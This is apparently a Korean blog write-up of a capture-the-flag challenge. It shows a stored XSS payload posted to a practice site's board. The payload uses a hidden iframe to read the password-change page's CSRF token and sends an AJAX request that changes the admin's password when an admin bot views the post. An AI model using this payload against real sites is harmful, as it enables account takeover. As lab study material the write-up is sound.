[Normaltic's CTF] GET Admin 3

2024. 7. 9. 20:53정보보안 및 해킹/CTF

1) 마이페이지의 비밀번호 변경기능 확인을 위해 로그인 후 메인페이지에 있는 마이페이지 클릭

2) 변경할 비밀번호에 임의의 비밀번호 입력

3) 입력 후 변경 시 어떤 이벤트가 발생하는지 확인

4) alert()이 뜨면서 안의 문구는 회원 정보 수정에 성공하셨습니다!’ 라고 뜨는 것 확인 완료

5) 비밀번호 변경 후에도 로그인이 유지되고 있음 확인

6) Burp Suite에서 확인해보니 POST Method로 보내지고 있음을 확인

7) 파라미터는 id, info, pw, csrf_token 4가지 파라미터를 전달하고 있음을 확인

csrf_token으로 요청의 주체가 진짜 해당 인물인지 확인 절차를 거칠 것으로 예상되기 때문에 해당 token을 가지고 있어야 함

8) csrf_token의 구성요소는 input tag name csrf_token으로 구성되어있음 확인

9) 관리자의 비밀번호를 변경하는 로직과 해당 token을 가지고 오는 로직을 동시에 집어넣은 글을 작성하기 위해 게시판 클릭

10) 글쓰기 클릭

11) XSS CSRF 공격에 필요한 특수문자 사용 가능 여부 확인을 위해 < ‘ “ >를 포함한 글 작성

12) 글 작성 후 Burp Suite에서 확인하니 전부 필터링이나 HTML Entity 없이 작성되는 것을 확인

13) 마이페이지csrf_token 구성요소를 가져오는 로직 작성 후 글 등록

시행착오 코드

<iframe src="./mypage.php" id="targetFrame"></iframe> //마이페이지를 가져오는 iframe. 추후 숨길 예정
<script>document.addEventListener("DOMContentLoaded", ()=> //DOMContent가 로드되는 것을 기다리는 Event Listener
{ var targetTag = document.getElementById('targetFrame'); //iframe을 변수에 담음
var DOMData = targetTag.contentDocument; //변수에 담은 iframe을 Document화 시킴
var info = DOMData.getElementsByName('csrf_token')[0].value; //Document화 시킨 변수에서 csrf_token 구성요소를 가져옴
if(info) console.log(info); //제대로 가져왔는지 확인 차 console로 찍어보는 디버깅용 코드
}); 
</script>

14) csrf_token값을 제대로 가지고 오고 있음을 확인

15) 마이페이지의 csrf_token을 가져오는 코드와 마이페이지의 비밀번호를 변경하는 ajax 코드를 결합한 글 등록

시행착오 코드 (일전에 추가한 주석은 생략)

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> //ajax를 사용하는데 필요한 js를 가져오는 코드
<iframe src="./mypage.php" id="targetFrame" style="display:none;"></iframe> 
<script>document.addEventListener("DOMContentLoaded", ()=> {
var targetTag = document.getElementById('targetFrame'); 
var DOMData = targetTag.contentDocument; 
var csrftoken = DOMData.getElementsByName('csrf_token')[0].value; 
$.ajax({  
url: 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php',  //마이페이지 비밀번호 변경 페이지
data: {'id':'chlqhqodlekt','info':'','pw':'1234', 'csrf_token':csrftoken},  type: 'POST',  //마이페이지에 필요한 파라미터 데이터 전달
success: function (result)  //ajax 성공 시 태울 부분
{  
}  
});
}); 
</script>

16) 마이페이지 비밀번호 변경 시 뜨는 alert()창은 뜨지 않음 확인

17) Burp Suite에서 확인해보니 비밀번호 제대로 변경된 것 확인 완료

18) 당 코드를 자신의 아이디_admin 이라는 관리자 계정의 비밀번호를 변경하기 위해 id 파라미터를 살짝 수정하여 글 증록

19) 당 글의 링크를 복사

20) 의 링크를 관리자가 방문하는 관리자 visit Bot에 붙여넣고 아이디부분에 자신의 아이디_admin 입력 후 Visit을 클릭하여 방문하게 함

21) 관리자 방문 확인

22) 로그인 되어있던 아이디에서 로그아웃

23) 자신의 아이디_admin 그리고 변경한 비밀번호를 입력하여 로그인 시도

23) 공격자의 의도대로 관리자의 비밀번호를 관리자 모르게 변경하여 계정 탈취 성공 확인

'정보보안 및 해킹 > CTF' 카테고리의 다른 글

[Normaltic's CTF] GET Admin 2  (0) 2024.07.09
[Normaltic's CTF] GET Admin 1  (0) 2024.07.09
[Normaltic's CTF] Steal Info 2  (0) 2024.07.05
[Normaltic's CTF] Steal Info 1  (0) 2024.07.05
[Normaltic's CTF] Basic Script Prac  (0) 2024.07.05